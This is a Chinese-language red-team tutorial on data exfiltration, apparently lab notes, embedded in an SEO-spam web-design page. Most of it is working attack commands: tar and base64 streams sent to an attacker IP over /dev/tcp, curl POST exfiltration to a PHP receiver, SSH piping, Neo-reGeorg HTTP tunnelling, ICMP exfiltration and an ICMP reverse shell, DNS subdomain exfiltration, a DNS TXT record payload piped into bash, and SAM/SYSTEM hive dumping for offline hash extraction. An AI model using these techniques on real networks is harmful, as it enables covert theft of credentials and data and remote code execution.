平面设计培训需要学什么周口seo优化
2026/3/30 3:53:36 网站建设 项目流程
平面设计培训需要学什么,周口seo优化,网页直接玩的传奇,网站建设艾金手指科杰一、 概述 (Overview) 数据窃取是指未经授权地、隐蔽地将敏感数据从受控的内部网络复制并转移到攻击者控制的外部位置的过程。这通常是网络攻击的后期阶段#xff0c;在攻击者已获得目标网络访问权限并收集到有价值数据之后进行#xff0c;属于网络杀伤链模型中的“目标行动…一、 概述 (Overview)数据窃取是指未经授权地、隐蔽地将敏感数据从受控的内部网络复制并转移到攻击者控制的外部位置的过程。这通常是网络攻击的后期阶段在攻击者已获得目标网络访问权限并收集到有价值数据之后进行属于网络杀伤链模型中的“目标行动” (Actions on Objectives) 环节。网络犯罪分子攻击公司的目的各异但多数情况下最终目标是数据泄露即将窃取的敏感数据在暗网出售或公开。数据窃取技术旨在模拟正常的网络活动利用常见的网络协议如 DNS, HTTP(S), ICMP, SSH 等作为数据传输的载体从而绕过防火墙等网络安全产品的检测使得恶意流量难以与合法流量区分。作为红队成员掌握和运用这些技术对于隐匿行踪、避免被检测至关重要。敏感数据类型示例:用户名、密码等身份验证信息。银行账户详情、信用卡信息。商业战略、决策文件、知识产权。加密密钥、证书。员工及个人身份信息 (PII)。项目源代码、研发数据。二、 数据窃取的核心用途 (Core Use Cases of Data Exfiltration)直接窃取数据 (Direct Data Theft / Traditional Exfiltration):场景: 将收集到的敏感数据从组织网络单向移出到攻击者控制的服务器。攻击者通常不关心响应只关注数据成功传出。命令与控制 (C2) 通信 (Command Control Communication):场景: 利用隐蔽信道包括非传统协议在攻击者和受控主机之间建立双向通信用于发送命令、接收执行结果。许多 C2 框架支持通过这些协议进行通信。隧道传输 (Tunneling):场景: 在受害者网络与攻击者控制的机器之间建立加密或混淆的通信通道充当桥梁使攻击者能够访问原本无法直接访问的内部网络资源。通常涉及持续的数据发送和接收。三、 基于常见网络协议的数据窃取技术A. TCP 套接字窃取 (TCP Socket Exfiltration)原理与适用场景: 直接利用 TCP 套接字建立连接并传输数据。由于其流量特征可能不符合标准应用协议在缺乏强大网络监控的非安全环境中可能被使用。为增加隐蔽性常结合数据编码如 Base64和归档如 tar。基本 TCP 通信流程:一台机器接收方/攻击者在特定端口监听传入连接。另一台机器发送方/受害者连接到该指定端口。连接建立后开始数据传输。步骤与示例:环境: 攻击者机器 (JumpBox -jump.thm.com)受害者机器 (victim1.thm.com)。攻击者机器 (JumpBox) 监听:Bashthmjump-box$ nc -lvp 8080 /tmp/task4-creds.data-l: 监听模式。-v: 详细输出。-p 8080: 指定监听端口。 /tmp/task4-creds.data: 将接收到的数据重定向到文件。受害者机器 (victim1) 准备并发送数据: 假设数据在task4/creds.txt。Bashthmvictim1:$ tar zcf - task4/ | base64 | dd convebcdic /dev/tcp/192.168.0.133/8080tar zcf - task4/: 将task4/目录压缩 (z) 并打包 (c) 成归档文件 (f)输出到标准输出 (-)。base64: 将 tar 包内容进行 Base64 编码。dd convebcdic: 使用dd命令convebcdic在此场景中可能用于某种形式的混淆或确保特定格式传输但直接使用标准输出到 TCP 套接字更为常见。更直接的方式可能是... | nc attacker_ip port。 /dev/tcp/192.168.0.133/8080: (Bash 特性) 重定向输出到指定 IP 和端口的 TCP 套接字。攻击者机器 (JumpBox) 解码数据: 接收到数据后 (存储在/tmp/task4-creds.data)Bashthmjump-box:/tmp/$ dd convascii iftask4-creds.data | base64 -d task4-creds.tar thmjump-box:/tmp/$ tar xvf task4-creds.tar thmjump-box:/tmp/$ cat task4/creds.txtdd convascii iftask4-creds.data: 如果发送时用了convebcdic这里用convascii进行逆向转换。base64 -d: Base64 解码。tar xvf task4-creds.tar: 解包 (x) 归档文件 (f) 并显示过程 (v)。注意: 使用 Base64 和可能的 EBCDIC 编码是为了使传输的数据非人类可读增加检查难度。B. SSH 协议窃取 (SSH Protocol Exfiltration)原理与适用场景: 利用 SSH 协议建立的安全加密通道传输数据。可以使用 SCP (Secure Copy Protocol) 或直接通过 SSH 客户端执行命令来传输文件或数据流。步骤与示例 (使用 SSH 客户端):前提: 攻击者控制的服务器已启用 SSH 服务并可接收连接。受害者机器准备并发送数据: 假设数据在task5/creds.txt。Bashthmvictim1:$ tar cf - task5/ | ssh thmjump.thm.com cd /tmp/; tar xpf -tar cf - task5/: 打包task5/目录内容到标准输出。ssh thmjump.thm.com cd /tmp/; tar xpf -: 通过 SSH 连接到jump.thm.com在远程执行命令。远程命令首先切换到/tmp/目录然后从标准输入 (-) 解包 (xp) 接收到的 tar 数据流。攻击者机器 (jump.thm.com) 验证: 文件将被解压到/tmp/task5/目录下。C. HTTP/S 协议窃取 (HTTP/S Protocol Exfiltration)原理与适用场景: 通过 HTTP 或 HTTPS 协议传输数据因其是常见的 Web 流量较难被检测和区分。使用 POST 方法比 GET 方法更隐蔽因为 POST 请求的数据体不会像 GET 请求的参数那样直接记录在标准的 Web 服务器访问日志中。1. HTTP POST 数据传输:前提: 攻击者控制一台 Web 服务器并部署了能够处理传入数据如 PHP、Python、NodeJS 脚本的服务端脚本。POST 请求优点: 不被缓存、不保留在浏览器历史记录、无法收藏、对数据长度通常没有限制。步骤与示例:场景: 攻击者控制web.thm.com敏感数据从victim1.thm.com发送。攻击者服务器端准备 (PHP 示例 -contact.php):PHP?php if (isset($_POST[file])) { // 对接收到的数据进行URL解码 (PHP的$_POST通常会自动处理URL解码) // 如果数据是Base64编码后又经过了其他处理这里可能需要额外解码步骤 $received_data $_POST[file]; // 示例将号被空格替换的问题修复 (如果curl发送时未正确URL编码) // $received_data str_replace( , , $received_data); $file fopen(/tmp/http.bs64,w); fwrite($file, $received_data); fclose($file); } ?受害者机器发送数据 (使用 curl): 假设数据在task6/目录。Bashthmvictim1:$ curl --data file$(tar zcf - task6 | base64) http://web.thm.com/contact.php--data file...: 发送 POST 请求file是参数名。参数值是 tar 归档后 Base64 编码的数据。Curl 默认会对数据进行 URL 编码。攻击者服务器端处理与解码: 数据被 PHP 脚本保存到/tmp/http.bs64。修复潜在的 Base64 损坏 (URL编码问题): 如果字符在传输中被变为空格。Bashthmweb:$ sudo sed -i s/ //g /tmp/http.bs64解码和解压:Bashthmweb:$ cat /tmp/http.bs64 | base64 -d | tar xvfz - -C /tmp/ # -C 指定解压目录2. HTTPS 通信:说明: 若攻击者的 Web 服务器配置了 SSL/TLS 证书并使用 HTTPS则整个传输过程包括数据体将被加密进一步增强隐蔽性和安全性。3. HTTP 隧道 (HTTP Tunneling):原理: 将其他协议的流量如 SSH、RDP、甚至任意 TCP/UDP 流量封装在 HTTP 请求和响应中常用于穿透防火墙或访问隔离的内网环境。工具示例 (Neo-reGeorg):场景: 攻击者希望通过可从外网访问的uploader.thm.com服务器已上传隧道脚本来访问内网的app.thm.com服务器。生成隧道服务端脚本:BashrootAttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k password_for_tunnel这会在neoreg_servers/目录下生成多种语言的隧道脚本 (如tunnel.php,tunnel.aspx等)。上传隧道脚本: 将对应语言的隧道脚本 (如tunnel.php) 上传到受控的 Web 服务器uploader.thm.com的 Web 目录下。客户端连接并建立SOCKS代理:BashrootAttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k password_for_tunnel -u http://uploader.thm.com/path/to/tunnel.php连接成功后Neo-reGeorg 会在本地监听一个 SOCKS 代理端口 (默认为 1080)。通过代理访问内部资源: 配置本地工具 (如curl,proxychains, 或浏览器) 使用该 SOCKS5 代理 (127.0.0.1:1080)。BashrootAttackBox:~$ curl --socks5 127.0.0.1:1080 http://app.thm.com_internal_ip流量特征: 攻击者与隧道脚本之间表现为正常的 HTTP(S) 通信隧道脚本与内部目标之间是正常的应用协议通信。从内部目标来看访问源是运行隧道脚本的服务器。D. ICMP 协议窃取 (ICMP Protocol Exfiltration)原理与适用场景: ICMP (Internet Control Message Protocol) 主要用于网络诊断和错误报告 (如ping命令)。ICMP 数据包结构中有一个可选的数据字段可以被用来携带少量自定义数据。由于防火墙通常允许 ICMP 流量至少是部分类型因此可用于在限制严格的网络中隐蔽传输数据。1. 手动数据发送 (Linuxping -p命令):限制:-p选项仅在 Linux 的ping命令中可用且通常只能填充少量数据 (如 16 字节)。步骤:将数据转换为十六进制:BashrootAttackBox$ echo thm:tryhackme | xxd -p # 输出: 74686d3a7472796861636b6d650a使用ping -p发送十六进制数据:BashrootAttackBox$ ping target_ip -c 1 -p 74686d3a7472796861636b6d650a接收方需要抓包 (如tcpdump) 并解析 ICMP 数据部分。2. 自动化工具窃取 (Metasploitauxiliary/server/icmp_exfil模块):原理: 该模块在攻击者机器上监听 ICMP 流量通过约定的 BOF (Begin Of File) 和 EOF (End Of File) 触发字符串来识别文件名和数据内容并将接收到的数据写入文件。步骤:攻击者机器 (Metasploit):代码段msf use auxiliary/server/icmp_exfil msf auxiliary(server/icmp_exfil) set BPF_FILTER icmp and not src AttackBox_IP msf auxiliary(server/icmp_exfil) set INTERFACE eth0 msf auxiliary(server/icmp_exfil) run受害者机器 (使用nping工具发送数据):发送 BOF 触发器和文件名:Bashthmicmp-host:~# sudo nping --icmp -c 1 AttackBox_IP --data-string BOFfile.txt发送数据块:Bashthmicmp-host:~# sudo nping --icmp -c 1 AttackBox_IP --data-string admin:password thmicmp-host:~# sudo nping --icmp -c 1 AttackBox_IP --data-string admin2:password2发送 EOF 触发器:Bashthmicmp-host:~# sudo nping --icmp -c 1 AttackBox_IP --data-string EOFMetasploit 会自动保存接收到的文件到 loot 目录。3. ICMP C2 通信 (ICMPDoor 工具):原理: 基于 Python3 和 Scapy 开发的 ICMP 反向 Shell利用 ICMP 数据包的数据部分双向传输命令和执行结果。步骤:受害者机器 (运行icmpdoor客户端):Bashthmicmp-host:~$ sudo ./icmpdoor -i eth0 -d Attacker_JumpBox_IP-i: 指定网络接口。-d: 指定 C2 服务器 (攻击者 JumpBox) 的 IP 地址。攻击者 JumpBox (运行icmp-cnc服务端):Bashthmjump-box$ sudo ./icmp-cnc -i eth1 -d Victim_icmp-host_IP shell hostname # icmp-host-i: 指定网络接口。-d: 指定目标受害者 (运行 icmpdoor 的机器) 的 IP 地址。E. DNS 协议窃取 (DNS Protocol Exfiltration)概述与准备工作 (Overview and Prerequisites)域名系统 (DNS) 是互联网的核心服务之一但其开放和受信任的特性也使其成为攻击者进行数据窃取、渗透和建立隐蔽通信隧道的理想协议。本笔记将探讨这三种主要的 DNS 滥用技术。必备工具与资源:dns-exfil-infil: 用于数据窃取和渗透的 Python 脚本集。GitHub 链接Wireshark/tshark: 用于捕获和分析 DNS 流量。官方网站其他要求: 一个你拥有的公共域名和一个可公开访问的服务器如 VPS用于充当你的权威 DNS 服务器。核心要求配置攻击者控制的权威 NS攻击者必须控制一个域名并能够配置其 DNS 记录将某个子域的解析权委托给自己的服务器。创建 A 记录: 例如ns1.attacker-domain.com指向Attacker_Machine_IP。创建 NS 记录: 例如将子域exfil.attacker-domain.com的 NS 记录指向ns1.attacker-domain.com。效果: 当任何 DNS 解析器需要查询*.exfil.attacker-domain.com时请求最终都会被转发到攻击者控制的机器上。DNS 数据窃取 (DNS Data Exfiltration)DNS 数据窃取是一种将敏感数据编码后通过一系列 DNS 查询发送到攻击者控制的 DNS 服务器的网络攻击。由于 DNS (UDP/53) 流量通常被防火墙允许出站这种方法非常隐蔽。方法一使用自动化工具 (dns-exfil-infil)在客户端 (packety.py) - 编码与发送:脚本读取要窃取的文件并对其进行Base64和Base58编码。将编码后的长字符串分割成小块添加混淆字符并作为子域名发起 DNS 查询。在恶意服务器 - 捕获:在攻击者控制的服务器上运行Wireshark或tshark来捕获所有传入的 DNS 请求并保存为.pcap文件。在恶意服务器 (packetyGrabber.py) - 解码与重组:运行脚本并提供捕获到的.pcap文件脚本会自动提取、重组并解码数据最终还原出原始的被盗文件。方法二手动实现 (通过子域名)攻击者机器监听 DNS 查询:Bash# -A: 以 ASCII 打印每个包的内容 sudo tcpdump -i eth0 udp port 53 -A -v受害者机器准备并发送数据:这个bashone-liner 将credit.txt的内容进行 Base64 编码分割成 18 个字符的块然后将每个块作为子域名的一部分通过dig命令发起 DNS 查询。BashDATA_TO_SEND$(cat credit.txt | base64 | tr -d \n) echo $DATA_TO_SEND | fold -w 18 | sed s/.*/./ | tr -d \n | sed s/$/att.tunnel.com/ | awk {print dig short $1 A} | bash攻击者机器提取数据: 从tcpdump的输出中手动复制所有数据块拼接起来然后进行 Base64 解码。Bashecho copied_long_subdomain_string | tr -d . | base64 -dDNS 数据渗透 (DNS Data Infiltration / C2)这是数据窃取的逆向过程即利用 DNS 将文件如恶意软件、脚本传入一个受限制的网络。工作原理与示例攻击者将 payload例如一个 Bash 脚本进行 Base64 编码并将其存储在自己域名的TXT记录中。攻击者准备并设置 TXT 记录:创建脚本 (如/tmp/script.sh):#!/bin/bash\nping -c 1 test.thm.comBase64 编码脚本:cat /tmp/script.sh | base64得到IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo在 DNS 管理界面为script.tunnel.com添加一条 TXT 记录值为上述 Base64 字符串。受害者机器查询、解码并执行:Bashdig short -t TXT script.tunnel.com | tr -d \ | base64 -d | bashtr -d \: 去除dig输出中 TXT 记录内容两边的引号。F. 转储 SAM 哈希离线直接在主机上运行mimikatz可能会被 AV 捕获。一个更隐蔽的方法是转储所需的文件然后在攻击机上离线提取哈希。保存注册表 Hive: 在目标上使用reg.exe保存 SAM 和 SYSTEM 注册表配置单元。Code snippetreg.exe save HKLM\SAM sam.bak reg.exe save HKLM\SYSTEM system.bak传出文件: 使用之前设置的 SMB 服务器或其他方法将sam.bak和system.bak文件传回到你的攻击机。离线提取哈希: 使用impacket的secretsdump.py来从这两个文件中提取本地账户的 NTLM 哈希。Bashpython3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询